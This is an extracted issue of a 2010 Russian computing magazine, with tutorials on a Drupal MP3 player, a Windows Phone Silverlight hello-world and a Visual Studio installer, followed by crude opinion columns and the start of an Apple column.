Нужный модуль мы нашли, теперь разберемся, как его устанавливать и настраивать. Сливай MP3 Player с сайта Drupal и разархивируй архив с модулем в папку папка_с_drupal/sites/all/modules. Если для воспроизведения этого урока на практике ты специально скачал и установил Drupal, то по пути / sites/all/ у тебя не будет папки modules. Не пугайся и создай ее самостоятельно. После выполнения этой операции, в директории sites/all/modules, у тебя должна появиться папка mp3player, содержащая файлы модуля. Небольшое лирическое отступление. Если ты начинающий Drupal’ер, то вполне вероятно можешь не знать, почему мы скопировали модуль в директорию sites/all/modules, а не в папку modules, расположенную в корне. Дело в том, что Drupal очень гибкая система и ее разработчики очень хорошо заботятся о пользователях. Сам понимаешь, чтобы добиться гибкости нужно непременно придерживаться определенных правил. При установке модуля мы как раз и сталкиваемся с одним из них. Директория sites предназначена для хранения пользовательских модулей, тем и других различных файлов. В самой папке sites может быть несколько папок: all, site1, site2 и т.д. Каждая такая папка относится к определенному сайту (drupal поддерживается мультисайтинг, т.е. на одной копии Drupal ты можешь создать несколько сайтов). Например, если ты будешь складывать все скачанные

74


vr-online.ru

март 2010

модули в папку sites/all/modules, то они будут доступны на любом из сайтов. Само собой, если ты закачаешь модули в site/mysite/modules, то воспользоваться ими у тебя получится только на сайте mysite. Думаю, тут все понятно. Скажу лишь, что в папке sites/имя_сайта/, могут быть следующие директории: - modules – здесь должны храниться все сторонние модули. - themes – папка для хранения сторонних тем. - files – любые пользовательские файлы. Сюда можешь помещать все свои картинки, архивы и т.д. Соблюдая данное правило, ты серьезно облегчишь свою жизнь при очередном обновлении Drupal или переезде.

Едем дальше. Сам Drupal'овский модуль мы скачали и поместили куда нужно. Казалось бы все готово и можно переходить к непосредственной настройке, но нет. С этим модулем все немного не так. Следующим нашим шагом будет загрузка файлов плеера – WordPress Audio Standalone Player ((http:// wpaudioplayer.com/download). Я уже упомянул, что модуль MP3 player лишь проводник, позволяющий принести в мир Drupal’а плеер от стороннего продукта. Загрузив архив с плеером от WordPress, распакуй его в любую папку (у себя на компе). Перейди в нее и найди следующие файлы: audio-player.js и player.swf. Теперь закачай эти файлики на свой сайт, построенный на Drupal в папку: sites/all/modules/mp3player/mp3player. Сам плеер, как раз и находится в этих файлах.

75


vr-online.ru

март 2010

Настройка модуля

Буду считать, что у тебя получилось проделать эти нехитрые операции. Раз так, значит, пора переходить к настройке. Заходи на свой сайт под администратором и пройди в Administer - > Site building -> Modules. В списке модулей должен появиться новый модуль Mp3 Player. Он должен находиться в неактивном состоянии (слева от названия модуля не установлен флажок Enabled). Раз мы решили применить этот модуль на нашем сайте, то его полюбас необходимо активировать. Установи слева от модуля mp3 player флажок, а затем нажми кнопку «Save Configuration». На этом можно считать, что у нас почти все готово для организации прослушивания mp3 на своем сайте. Остается лишь обеспечить возможность загрузки mp3 файлов через web-интерфейс и создать новый тип материалов с одним нестандартным полем. Саму загрузку мы будем производить во время создания нового материала. С технической точки зрения это будет выглядеть так: у нас должен появиться новый тип материалов, у которого будет поле, позволяющее аттачить

76


vr-online.ru

март 2010

файлы. Чтобы создать поле такого типа, нам потребуется опять сбегать на сайт drupal.org и скачать с него еще один модуль – FileField (http://drupal.org/project/filefield). Этот модуль представляет из себя универсальное поле CCK (Content Construction Kit) для загрузки файлов. Помимо FileField, нам также потребуются модуль CCK (http://drupal.org/project/cck). Это очень полезный модуль и с его помощью, ты сможешь добавлять к любому материалу поля различных типов. Например, у тебя есть материал типа «Новость» и тебе хочется, иметь возможность указывать адрес сайта первоначального источника. Решение напрашивается само собой – нужно добавить новое поле к материалу. Такое поле можно без проблем создать при помощи CCK. Устанавливай модули CCK и FileField по такому же принципу, как и Mp3Player. После установки, заходи в панель управления и переходи в раздел «Modules». В этом списке у тебя должна появиться группа модулей CCK. Активируй следующие модули: Content, FileField, FileField Mp3 player Formatter. Модули все в сборе, переходим к созданию нового типа материала, который будет применяться для добавления страниц, содержащих аудио данные.

Создаем новый тип материалов

Чтобы создать новый тип материалов тебе необходимо проделать несколько несложных шагов:

1.

Пройди в раздел Adminster - > Content management -> Content types. Перед твоим взором распахнется страница, на которой будут перечислены все имеющиеся типы материалов. Если ты до этого раза не добавлял своих типов, то по идее у тебя их должно быть всего лишь два: Page и Story. 2. Нажми на ссылку Add content type. Загрузится страница с формой. Заполни ее поля: Name. Название твое материала. Здесь указываешь так называемое «человеческое» a. имя. Это имя отображается, в списке выбора типа материалов при добавлении нового контента. Мы собираемся делать материал, содержащий Audio данные, поэтому напишем в этом поле «Подкаст» (само собой без кавычек). b. Type. Имя типа материала. Данное поле, можно сказать, несет такой же смысл, как и предыдущее. Здесь от нас также требуется ввести имя, только на этот раз, имя типа материала, которое будет использоваться Drupal’ом для проведения всевозможных операций. Для нашего примера мы укажем «podcast». Description. Необязательное к заполнению поле. Если есть желание, то можешь c. ввести сюда описание типа материалов. Оно будет показано на странице выбора типа создаваемого содержимого. Для наглядности, в своем примере я вбил в это поле: «Создание новых подкастов». Заполнение скрытых в спойлеры полей мы делать не будем. Для нашего примера они особо не нужны, поэтому оставлю их на твоей совести. Будет желание – посмотришь и подкрутишь все под себя. Нажимай на кнопку “Save Content Type”. Drupal опять выплюнет страницу со всеми материалами. Только теперь на ней еще появится созданный нами тип «Подкаст». Двигаемся дальше. Очередным шагом на пути к нирване будет добавление нового поля к типу «Подкаст». Если ты нечаянно закрыл страницу со списком типов материалов, то потрудись на нее вернуться. Напомню, чтобы это сделать пройди по пути: Administer ->

77


vr-online.ru

март 2010

Content Management -> Content Types. Найди созданный нами тип «Подкаст» и кликни на ссылку Manage fileds в правой части. Выполнив это действие, ты увидишь редактор полей.

В редакторе, ты можешь управлять всеми созданными тобой полями. У нас пока нет ни одного такого поля, но через несколько секунд мы изменим ситуацию. Итак, в группе элементов Add (здесь создается новое поле) заполни поля ввода:

1.

New field. Имя создаваемого поля. Сюда можешь писать все что хочешь. Это имя будет отображаться в форме добавления контента типа «Подкаст». Я здесь указал «mp3 файл с подкастом». 2. Field Name. Имя поля для Drupal. Здесь тебе нужно указать имя, которое будет использоваться Drupal’ом. Все самостоятельно создаваемые поля должны соответствовать шаблону field_твое_имя. Для нашего примера, я ввел mp3. 3. Type of data to store. Тип создаваемого поля. Тут должно быть все понятно. В нашем случае это будет File. 4. Form element to edit the data. Тип элемента ввода, который будет отображаться при заполнении поля. Для нашего поля выбор не велик, им будет File Upload. Заполнив форму, нажимай кнопку «Save». Сильно не радуйся, т.к. на этом процесс создание нового поля не окончен. Выполнив сохранение на прошлой странице, перед тобой отобразится еще одна страница с web формой. На ней тебе требуется ввести специфичные (в зависимости от типа поля) настройки. Мы создаем поле, посредством которого пользователь будет осуществлять загрузку файла на сервер. В нашем случае, мы можем настроить следующие параметры: - Permitted upload file extensions. Здесь можно перечислить расширения файлов, допустимые для загрузки. В нашем случае, разумней всего указать mp3. - File Path. Путь, по которому будут храниться загруженные файлы. Если ты здесь ничего не укажешь, то после загрузки, файлы будут храниться в директории files. Это не совсем удобно. Лучше здесь сразу указать что-то вроде podcasts. Тогда файлы будут располагаться по пути files/podcasts.

78


vr-online.ru

март 2010

- File Size restrictions. Ограничения на размер загружаемых файлов. Можешь установить здесь как минимальный размер, так и максимальный.

Итак, я в этой форме лишь заполнил поля Permitted upload file extensions (указал здесь mp3) и FilePath (ввел podcasts). Надеюсь, ты сделал тоже самое. Нажимаем кнопку «Save field settings» и тихонечко радуемся. Мы только что успешно справились с добавление нового поля к нашему типу материала. Новый тип материал создан, дополнительное поле для него также готово. «Ну, теперь то, наверное, все готово?» - скажешь ты. А я отвечу, что нет . Да, мы все создали, но теперь нам остается проделать самый последний шаг – немного сконфигурировать недавно добавленное поле.

79


vr-online.ru

март 2010

В списке всех полей, найди «mp3 файл с подкастом» и справа от него нажми на ссылку «Configure». Ты попадешь на страницу настроек. Вверху этой страницы есть три ссылки: eit, Manage fields и Display fields. Нас интересует последняя из них. Кликни по ней. Откроется страница с настройками отображения поля. Измени здесь значение полей «teaser» и «Full node» на Mp3 player. Этим самым ты скажешь системе, что при просмотре страницы, содержащей поле «mp3 файл с подкастом», нужно отражать не ссылку на загрузку mp3-файла, а именно flash-плеер, с помощью которого можно выполнить прослушивание. Проделав это действие, нажми на кнопку “Save”.

Затестим Вот теперь, можно с гордостью воскликнуть, что у нас действительно все готово и самое время переходить к тестированию. Давай создадим тестовую страницу, которая будет содержать mp3 файл. Пройди в Create Content –> Подкаст. Перед тобой появится форма создания нового контента типа «Подкаст». Заполни у нее следующие поля:

1. 2.

Title. Заголовок страницы. Я указал в этом поле традиционное «Hello World!». Body. Тело страницы. Можешь написать сюда все что угодно. Я не стал сильно распинаться, а всего лишь написал «Тестирование прослушивания mp3 файлов». 3. mp3 файл с подкастом. Напротив этого поля есть кнопка «Обзор», по нажатию которой отобразится стандартный диалог выбора файлов. В нем тебе нужно будет выбрать любой mp3 файл. Рядом с кнопкой «Обзор» тасуется также кнопка «Upload». По ее нажатию будет произведена загрузка выбранного файла на сервер. Попробуй здесь выбрать любой mp3 файл и нажать на кнопку Upload.

Заполнив все перечисленные мной поля, нажимай на кнопку «Save». Drupal на одну секунду задумается и отобразит перед тобой страницу с симпатичным mp3 плеером. Нажми на play и прослушай загруженную композицию.

80


vr-online.ru

март 2010

Маленький трюк Мы создали новый тип материалов и реализовали в нем возможность загрузки и прослушивания mp3 файлов. Цель вроде достигнута, но на практике могут возникнуть несколько трудностей. Рассмотрим некоторые из них: Отсутствие стабильного коннекта с Интернетом. До моего последнего переезда я пользовался 1. услугами провайдера, у которого все было замечательно с работой по протоколам FTP, P2P, но ощущались явные проблемы с передачей больших объемов информации по http. Реально, загрузить что-то на файлообменники для меня было настоящим испытанием. Ограничения хостера. У некоторых хостеров есть ограничения на объем передаваемых по 2. http файлов. Одни хостеры идут на встречу и поднимают квоту на загрузку, а другие нет. В таких в таких случаях приходится включить свой мозг и придумать что-нибудь эдакое. К счастью он есть! Рассказываю идею. Было бы здорово, если у нас была возможность, загружать файлы скажем по протоколу FTP, а уже затем создавать материал, в котором можно было указать путь к mp3 файлу. Этот путь должен подхватить mp3 плеер и воспроизвести его. Вроде все просто и удобно, но как подобное реализовать на базе Drupal? Вот об этом мы сейчас и поговорим.

От теории к практике Теперь посмотрим, как реализовать все выше сказанное на практике. Итак, давай для начала создадим новый тип материалов. Назовем его «Подкаст 2», а в качестве имени типа укажем podcast2. Новый тип содержимого у нас есть. Теперь добавим к нему одно новое поле. Назовем его «Путь к файлу», а в качестве field name укажем mp3filepath. В этом поле мы будем указывать путь к mp3 файлу, который затем будем воспроизводить. Установи для него тип данных (Type of data store) Text, а для form element to edit the data значение Text field. Нажми на кнопку “Save”.

81


vr-online.ru

март 2010

На второй странице я не вносил никаких изменений, а просто нажал на кнопку “Save”. На этом считать, что полдела сделано. Уже сейчас ты можешь создать новый контент типа «Подкаст 2», но при просмотре никакого плеера ты не увидишь, т.к. Drupal не знает, что мы хотим отобразить страницу именно с плеером.

Придется немного покодить

Все описанные выше действия мы делали через удобные визуальные интерфейсы. В Drupal’е можно очень многое сделать, не прибегая к программированию, но некоторые задачи все, же проще решить, написав несколько строк кода. Наш случай не исключение. Запусти какой-нибудь текстовый редактор и накатай в нем следующий PHP код: <?php $audio_file_url = t($node -> field_mp3filepath[0]['value']); print theme('mp3player', 'Default', $audio_file_url, '', '', ''); print($content);

Сохрани эту писанину в файл с именем node-podcasts2.tpl и закачай его в папку /your_drupal_site/ themes/bluemarine/. Затем, вернись к своему браузеру и проследуй по пути Administer -> Site building -> Themes. Перейдя на эту страницу, перед тобой откроется список всех тем и одновременно с этим Drupal произведет обновление реестра тем. Выполнив это действие, текущая тема (в моем случае bluemarine) начнет обрабатывать созданный нами файл node-podcasts2.tpl. Попробуй сейчас создать новый контент типа «Подкаст 2». Заполни все поля и укажи корректный путь до mp3 файла. Сохрани страницу и открой ее для просмотра. Если ты все сделал верно, то у тебя загрузится страница и на ней отобразиться mp3 плеер. Пока можешь поиграть и протестировать mp3 плеер, а я тем временем немного расскажу про то, что же мы такое сделали.

82


vr-online.ru

март 2010

Итак, начнем разбор полетов с имени файла. Как ты помнишь, созданный файл мы назвали nodepodcasts2.tpl. В глубокие подробности вдаваться не стану (про темизацию Drupal я напишу отдельную статью), а скажу лишь, что этот файл будет вызываться каждый раз, когда Drupal захочет оформить страницу (а если быть точнее, узел) типа podcasts2. Другими словами, для оформления всех страниц с подкастами (podcasts2) будет выполняться с помощью нашего кода. В самом коде нет ничего сложного. В первой строчке, я получаю в переменную $audio_file_url путь к mp3 файлу, который пользователь указал при создании материала типа «Подкаст 2». Обрати внимание на то, как я получаю значение, введенное в поле mp3filepath. Для этого мне приходится обращаться к объекту $node (в нем содержится все свойства узла podcasts2). Точно также ты можешь получать/изменять значения полей материала созданных по умолчанию. Получив путь к mp3 файлу, ничто не мешает нам создать на странице mp3player. Для этого я использую функцию theme(). Эта функция относится к Drupal API и предназначена для генерации темизированного вывода. Когда Drupal хочет оформить какой-либо элемент (например, хлебные кроши, список и т.д.), он сразу же вызывает функцию theme(). Про тонкости применение функции theme() можно написать отдельную статью (что и планируется в будущем), а пока, чтобы лучше представить ее работу, рекомендую изучить файл theme.inc, располагающийся директории yourdrupal/ includes. В качестве параметров функции theme() нужно передать: - $hook – название хука темизации. - Всевозможные дополнительные параметры. В случае успешного выполнения, функция вернет html код для вывода. Не ошибусь, если предположу, что у тебя возник вопрос: «Что будет происходить после того как мы вызовем функцию theme()?». Действительно, на первый взгляд непонятно, а что же все таки будет дальше. Какая функция примет эстафетную палочку и начнет выполняться? На самом деле тут не нужно особо гадать, достаточно заглянуть в код модуля mp3player и сделать поиск по имени theme_ mp3player(): function theme_mp3player($player = 'Default', $file = NULL, $title = NULL, $artist = NULL, $description = NULL) { global $mp3_player_id; $mp3_player_id++; $extras = NULL;

if($title != NULL) { }

$extras .= ', titles: «'.addslashes($title).'»';

if($artist !=NULL) { }

$extras .= ', artists: «'.addslashes($artist).'»';

83


vr-online.ru

март 2010

//Get Player Settings

if($player != ‘Default’) {

$js_audio_settings = cache_get(‘mp3player_player_’. $player);

}

$extras .= ‘, ‘.$js_audio_settings->data;

if($description != NULL) { }

$description = ‘<p class=”mp3player_description”>’. $description .’</p>’;

if (module_exists(‘simplecdn’)) { }

$file = simplecdn_rewrite_url($file, ‘mp3player’);

if(variable_get(‘mp3player_encode’, ‘no’) == ‘yes’) { }

$audio_url = mp3player_encodeSource($file);

else { }

$audio_url = $file;

return ‘<p id=”mp3player_’.$mp3_player_id.’”>’.t(“It look’s like you don’t have Adobe

Flash Player installed. <a href=’http://get.adobe.com/flashplayer/’>Get it now.</a>”).’</ p>’. $description .’<script type=”text/javascript”>AudioPlayer.embed(“mp3player_’.$mp3_ player_id.’”, {soundFile: “’. $audio_url .’”’.$extras.’});</script>’; }

Если ты, прочитав все вышесказанное, ты так и не понял принцип действия функции theme() не отчаивайся! Пока просто юзай приведенный мной код. К следующему номеру нашего журнала я постараюсь подготовить отдельную статью по темизации в Drupal и уже в ней подробненько рассмотрю все нюансы по применению функции theme().

Au revoir! Для Drupal написано огромное количество разнообразных модулей. Все типичные задачи современного web-проекта можно решить, не написав не единой строчки кода. Это действительно круто и этим нужно пользоваться. Нет смысла все изобретать с нуля, когда уже имеется мощный фундамент. Ну а если чего-то не хватает или что-то работает не так как хотелось бы, то в этом случае уже не грех и покодить. Удачи тебе в освоении Drupal! P.S. Не стесняйся писать мне письма. Возникли вопросы по использованию Drupal – пиши! Если смогу – обязательно помогу!

84


vr-online.ru

март 2010 Селиванов Константин aka Gensei (selivanov_km@live.ru)

Первое SilverLight приложения для Windows 7 Mobile Для создания первого приложения типа “Hello World” нам понадобится: Windows 7 или Vista Visual Studio 2010 Windows Phone Developer Tools CTP http://www.microsoft.com/downloads/details. aspx?FamilyID=2338b5d1-79d8-46af-b828-380b0f854203&displaylang=en (~230 мб)

1. 2. 3.

Запустим Visual Studio 2010 и создадим новое приложение. Выберем язык программирования, на котором будем писать C#. Тип проекта Silverlight for Windows Phone. Создадим приложение Windows Phone Application с именем FirstWin7PhoneApplication.

Структура решения выглядит так:

Скомпилировать приложение можно как на эмуляторе, так и на подключенном девайсе.

85


vr-online.ru

март 2010

У меня под рукой нет девайса с Windows 7 Mobile на борту, так что придется использовать эмулятор. Чтож приступим к написанию кода. Уже стало традицией при изучении новой технологии писать старый добрый “Hello World”. Сначала посмотрим на сгенерированый код. Представляет собой код на языке XAML, подробнее об этом языке можно прочитать здесь http://ru.wikipedia.org/wiki/XAML.

<phoneNavigation:PhoneApplicationPage x:Class=”FirstWin7PhoneApplication.MainPage” xmlns=”http://schemas.microsoft.com/winfx/2006/xaml/ presentation” xmlns:x=”http://schemas.microsoft.com/winfx/2006/xaml” xmlns:phoneNavigation=”clr-namespace:Microsoft.Phone. Controls;assembly=Microsoft.Phone.Controls.Navigation” xmlns:d=”http://schemas.microsoft.com/expression/blend/2008” xmlns:mc=”http://schemas.openxmlformats.org/markupcompatibility/2006” mc:Ignorable=”d” d:DesignWidth=”480” d:DesignHeight=”800” FontFamily=”{StaticResource PhoneFontFamilyNormal}” FontSize=”{StaticResource PhoneFontSizeNormal}” Foreground=»{StaticResource PhoneForegroundBrush}»> <Grid x:Name=”LayoutRoot” Background=”{StaticResource PhoneBackgroundBrush}”> <Grid.RowDefinitions> <RowDefinition Height=”Auto”/> <RowDefinition Height=”*”/> </Grid.RowDefinitions> <!--TitleGrid is the name of the application and page title--> <Grid x:Name=”TitleGrid” Grid.Row=”0”> <TextBlock Text=”MY APPLICATION” x:Name=”textBlockPageTitle” Style=”{StaticResource PhoneTextPageTitle1Style}”/> <TextBlock Text=”page title” x:Name=”textBlockListTitle” Style=”{StaticResource PhoneTextPageTitle2Style}”/> </Grid> <!--ContentGrid is empty. Place new content here-->

86


vr-online.ru

март 2010

<Grid x:Name=”ContentGrid” Grid.Row=”1”> </Grid> </Grid> </phoneNavigation:PhoneApplicationPage> Немного рассмотрим сгенерированный код.

Нас будет

интересовать <Grid> </Grid>. Grid с именем LayoutRoot нам не интересен, он представляет себя корневой макет. Куда более интересны Grid с именами TitleGrid и ContentGrid с ними мы и будем работать. В Grid с именем TitleGrid помещены два контрола TextBlock в них представлены заголовки приложения. Отредактируем его. <TextBlock

Text=”vr-online”

x:Name=”textBlockPageTitle”

Style=”{StaticResource PhoneTextPageTitle1Style}”/> Grid с именем ContentGrid представляет собой рабочую область. Есть где разгуляться, богатый набор контролов. В

нашем

мы

примере

ограничимся

банальным текста

выводом

“Hello

Для

этого

на

форму

World”.

поместим

<TextBlock”/>

контрол .

Или

можно написать внутри Grid с именем ContentGrid. <Grid x:Name=”ContentGrid” Grid.Row=”1”> <TextBlock Text=”Привет vronline» HorizontalAlignment=”Center” VerticalAlignment=”Center” Foreground=”Red” /> </Grid>

Запускаем проект и вуаля, видим запустившееся наше приложение в эмуляторе.

87


vr-online.ru

март 2010 Поротников Андрей aka wwwnet (aporotnikov@gmail.com )

Инсталлер средствами Visual Studio Перед многими программистами становится задача, как распространить свое приложение. Конечно, можно его поставлять и в исходных кодах, если вы пишете Open Source Software, но в таком случае обычному пользователю будет не слишком удобно даже с помощью мануала запускать компилятор, например, csc.exe (компилятор C#) с различными параметрами. Для обычных пользователей намного лучше скачать инсталляционный файл и в несколько щелчков мыши установить приложение на свой компьютер. В этой статье я расскажу, как создать свой установочный файл. Конечно, есть различные платные и бесплатные программы, позволяющие создавать инсталляторы, но если вы пишете свой код в Visual Studio, то там есть уже все необходимое для создания простенького установщика. Для примера я создал библиотеку, имеющую название SuperLib.dll и содержащую следующий код: using System; namespace VROLib { public static string GetString() { return “Hello, world!”; } }

Код этой ценной библиотеки вы можете использовать в своих приложениях без спроса, я разрешаю. Второй файл – это исполняемый файл, который использует данную библиотеку. Исполняемый файл я назвал vro-test.exe (форма изображена на рисунке).

Вот код vro-test.exe: using System; using System.Windows.Forms; using SuperLib; namespace vro-test { public partial class Form1: Form { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { label1.Text = VROLib.GetString(); } }

88


vr-online.ru

март 2010

Теперь у нас есть цель – создать инсталлятор, который установит vro-test.exe и SuperLib.dll на компьютер пользователя. Для этого добавим к решению (solution) vro-test еще один проект. Для этого нужно щелкнуть правой кнопкой мыши в Обозревателе решения (Solution explorer) по надписи Solution <name>, где <name> это имя вашего решения, затем в контекстном меню выбрать пункт Add, а затем – New Project (хотя не обязательно добавлять именно к текущему решению, можно создать отдельный проект).

Появится окно добавления нового проекта, в котором нужно выбрать тип проекта Other Project Types Setup and Deployment.

89


vr-online.ru

март 2010

Для приложений Windows стоит выбирать либо Setup Project, либо Setup Wizard (первый сразу создает проект, свойства которого вы можете менять, а второй сначала с помощью мастера установит основные параметры, а в конце создаст проект). В статье я рассмотрю случай с использованием Setup Wizard. Первым вопросом мастера будет тип приложения – Windows application, web application, merge module или CAB file. Для vro-test естественно подойдет Windows application. Следующим шагом мастер предложит включить в проект вывод других проектов решения, например, файлы с документацией, отладочные символы, файлы с исходниками и т.д. На четвертом шаге вы сможете добавить к проекту любые файлы. Тут добавим vro-test.exe и SuperLib.dll:

В принципе, тут можно нажать Finish, т.к. на пятом шаге мастер покажет суммарную информацию по проекту. Теперь у нас есть проект установочного файла. Можно добавлять другие файлы и менять различные настройки. Основные параметры приведены в таблице: Параметр

Описание

Author Description InstallAllUsers

Имя разработчика Описание установочного файла Устанавливать для всех пользователей False или только текущего Название устанавливаемого приложения <Заданное имя проекта> Удалять предыдущие версии False Платформа (x86, x64, Itanium) X86 Заголовок инсталлера <Заданное имя проекта>

ProductName TargetPlatform Title

90

Значение по умолчанию Default Company Name


vr-online.ru

март 2010

Задав все необходимые значения, можем смело делать build. В выводе билда (Debug или Release) теперь находятся два файла – Setup.exe и vro-test-setup.msi. Распространять можно любой из них. Теперь с помощью мастера можно выбрать директорию, в которую устанавливать приложение и менять параметр InstallAllUsers. После установки при повторном запуске приложения будет предложено либо исправить установку, либо удалить установленное приложение:

Также установленное приложение появится в списке оснастки Программы и компоненты (Установка и удаление приложений в Windows XP): На этом все. Удачи в разработке!

91


vr-online.ru

92

март 2010


vr-online.ru

wwwnet В этом месяце больше всего меня разозлило РАО своим поступком в отношении ветеранов. Кто не знаком с этим событием, рекомендую ознакомиться по этой ссылке: http://www.vesti. ru/doc.html?id=349228. Если вкратце, то РАО решило штрафовать ветеранов за исполнение военных песен. Как можно быть таким проходимцем?

Lord_of_fear

март 2010

JimmyJonezz

Очень обеспокоен тем, как работают различные госструктуры. В частности службы поддержки. Что-то спросить, проконсультироваться - это очень сложная задача, с большим выбросом адреналина и уничтожением нервных клеток. Приведу пример: приходит письмо с распоряжением установки конкретного ПО на рабочем месте (или еще какое-либо супер секретное задание сверху). Каждый раз получая чтото подобное, меня постоянно бросает в дрожь, потому что, это означает, что я буду убивать свое время на телефонные звонки, поиск информации, а также на составление различной корреспонденции с просьбами о помощи. Дело в том, что устанавливая ПО всегда чего-то не хватает, это уже в рамках правил: документации, инструкции, компонентов и т.д. Где брать недостающие “элементы”, не понятно. Выход - тех. поддержка. Но вот именно тут начинаются проблемы: либо занято, либо не берут трубку, а уж если дозвонился, то получив ответ, хочется выругаться матом - отсылают к третьим лицам. Вот так и набирается цепочка из 3-4 человек. С электронной корреспонденцией - это совсем другая история, гораздо и гораздо хуже. Бывают исключения, но в очень в редких случаях.

Мне просто хочется блевать от слова “банк-клиент”. Банк-клиент должен быть ТОЛЬКО веб-версией. И точка! Всё, что ставится юзерам отдельными софтинами – полный треш. Сколько уж я с ними намучился. То справочник сертификатов умирает, то несовместимость версий КриптоПро, то ещё какая-нить какашка случается. По ходу, девелоперы реально много бухают и курять неправославный канабис. :) Суппорт иногда вообще хочется поиметь самым большим фалоимитатором в мире. Хотя, скажу по секрету: Есть в поддержке одного из банков одна умненькая девушка с очень приятным голосом… а её манера общения оставляет в мозгу только приятные ощущения :) Но это – лишь исключение из правил. От всего остального тошнит. Разработчики – ламеры. Будь я начальником их отдела разработки, они бы за такой говнософт зарплату по пол года не видели. :) Я в полном недоумении от ценовой политики компании 1С. Лицензия на 64-х разрядный сервер приложений “1С:Предприятие” стоит в ДВА раза дороже, чем 32-х. Что это за мутатень такая? Даже Microsoft так не поступает! Ибо это один и тот же продукт. Ссал кипятком от разговора с манагерами 1С. Предлагают доплатить разницу в стоимости между 32-х разрядным сервером приложений и 64-х разрядным. Только ключики нужно будет им в Москву прислать, а они потом вышлют новые по факту получения старых. Это особенно актуально, если учесть, что моя контора находится в Хабаровске. На всё про всё уйдёт не меньше месяца. А что мне делать то? Как люди работать будут? Крякать 1С на период путешествия этих ключиков? :) Я много раз повторял и буду повторять дальше: “Наш кинематограф в своей основе – полное говно”! Нет, ты меня не так понял. Не тот кинематограф, который произвел на свет “Джентльменов удачи”, “Кавказскую пленницу”, “Приключения Шурика”, “Шерлока Холмса и доктора Ватсона” и др. А то, что снимается сейчас. Я уже по принципу не смотрю наши фильмы, но моя девушка на днях уговорила меня посмотреть “Черную молнию”. Меня стошнило ещё на середине фильма :) Я даже и представить не мог, что у нас до чих пор снимается такой треш. И я в этом убеждаюсь уже не в первый раз. А ещё, помнится, трубили по ящику по всем каналам, что это новый мегасуперкрутой блокбастер. Типа “обязательно к просмотру”. Мое же мнение: это кино для глупых и недалёких людей. А потом посмотрел “Остров проклятых” Мартина Скорсезе. Вот это фильм! Он по праву попал в топ 250 на imdb. В режиссере я никогда не сомневался. Да и с ДиКаприо они уже спелись ещё в “Авиаторе” и “Отступниках”. Вот это, действительно, “обязательно к просмотру”.

93


vr-online.ru

zahod5277

март 2010

Spider_NET

Меня тошнит от нашего государства! Я очень люблю свою страну, но меня воротит В марте был в отпуске, в Казахстане. И от государства. Меня бесят лживые и меня тошнит от казахстанского интернета! отъевшиеся морды политиков, которые каждый день нахально врут, что в России Люди платят по 5000 тенге (~1000 рублей) за все для народа. Меня выворачивает от анлим в 1 м/б, а скорость загрузки файлов и вебпринятия законов, якобы созданных во страниц просто убивает: не более 5 кб/с!!! А все благо народа. За последние десятьпятнадцать лет в нашей стране никаких почему? Потому что подключить всех подключили, улучшений в глобальном масштабе не денег нахапали (и до сих гребут лопатой), а заботится произошло. А все то, что наши власти о качестве связи провайдер и не собирается. А на фига? делают - лишь красивый фантик, Все равно по всей стране всего лишь один провайдер под которым аккуратненько гниет пожеванная жвачка “Love is”. Наша (вроде бы), и люди никуда не денутся, будут дальше страна - самая Великая и Могучая. платить не малые деньги за малую скорость. Вот от Я даже не беру в расчет бескрайние этого реально тошнит, хочется пойти и побить территории и богатую историю. Россия - сама по себе неповторима. Большинство всех этих директоров и прочих начальников этой гениальных людей на планете - россияне. компании. Они просто поступают по скотски, И мне очень обидно, что при всем этом мы деньги есть, а что-то улучшать и не находимся в самой заднице и не хотим ничего с этим делать. Я понимаю, что большинство собираются. Не хорошо. проблем от неумных (здесь хочется ругаться матом) вожаков, но нельзя забывать и про каждого из нас. Власть хреновая и вместе с ней портится народ. С каждым разом становится все трудней встретить людей, которые готовы помочь просто так. Да о какой помощи можно говорить, если большинство поддается стадному инстинкту и ведет себя как быдло. Куда смотрит народ, когда В этом месяце решил установить выбирает в те же депутаты торгашей (пардон, последнюю версию FlashGet’а. Я бизнесменов) и других непонятных личностей. пожалел об этом, версия которую Неужели кто-то реально верит, что такие люди я скачал частично поддерживала могут что-то изменить в стране? Я имею в виду английский интерфейс. Это изменить в лучшую сторону. Откусить кусок большего то ладно, посидев с часок пирога в свой карман они само собой смогут и непременно разобрался в программе, сделают это. Почему так происходит? Политика дело грязное. Не один я выплескиваю на это бесовское но вот только мне творение грязь. Так и культура сейчас у нас не лучше. Народ стоило подключиться необразованный и даже не желает что-то менять. Взгляните на к net’у, как реклама модные бутики с названиями на ломанном англо-русском или других “посыпалась” с языках. Почему стараются скопипастить с запада (я про слова), а не этой программы. воспользоваться богатыми возможностями русского языка? Для меня Быстренько снес это загадка. и не жалею!:) Еще Почему мы рвемся внедрять в свою культуру обычаи из-за океана? Я довольно интересная ничего не имею против празднования гуляний наших соседей, но почему ситуация со мной бы не сделать упор на исконно русские праздники? Их же намного больше и они интересней! И я больше чем уверен, что основная произошла после часть наших соотечественников о них даже не подозревают. Это скачивания заплаток и немудрено - нашим детям (и нам в свое время) в школе про это (каких именно не не рассказывают. Зато у нас все знают до фига и больше про помню) для ХР. После египетские пирамиды. Такое чувство, что таким образом нашу автоматической историю пытаются затереть на корню. Очень грустно и установки, я вижу синий от этого меня не просто тошнит, а хочется блевать. Все, экран “cмерти” раза по заканчиваю, иду обнимать унитаз. 3-4 в день.

Alfenius

94


vr-online.ru

март 2010

95


vr-online.ru

март 2010 Васючков андрей aka Soffrick (soffrick.info)

cMAC: Яблочная музыка Здравствуйте, дамы и господа! В эфире первый выпуск журналопередачи «сMAC». На этой импровизированной кухне (которая уютно расположилась на просторах vr-online) мы будем готовить и дегустировать всё, что связано с Apple. Яблочные кексы, шарлотки, блинчики из яблок, яблочный сок, рулетики фаршированные яблоками, яблочное канапе – это далеко не всё, о чём здесь пойдёт речь. Итак, с вами я, Андрей Васючков, и мы начинаем! Сегодня на нашей кухне мы будем не только готовить, но и делать это под музыку. А именно, сегодня мы продегустируем iPod, встроенный в iPhone. Отдельно сам iPod я дегустировать не могу, так как не владею им, а вот счастливым обладателем яблофона я являюсь. Итак, надеваем фартук, дабы не измазаться, и нажимаем единственную кнопочку на iPhone (единственную – условно говоря, если брать во внимание лицевую панель и управление функциями устройства), снимаем блокировку и видим привычный рабочий стол айфона. Нам нужен плеер, найти его гораздо проще, нежели свежих и вкусных яблок в самом начале весны – его красивая, кстати говоря, иконка по дефолту находится в самом нижнем правом углу. Касаемся её своим тёплым и мягким пальцем (именно на это и реагирует наш аппарат), запускается чудо-проигрыватель. В 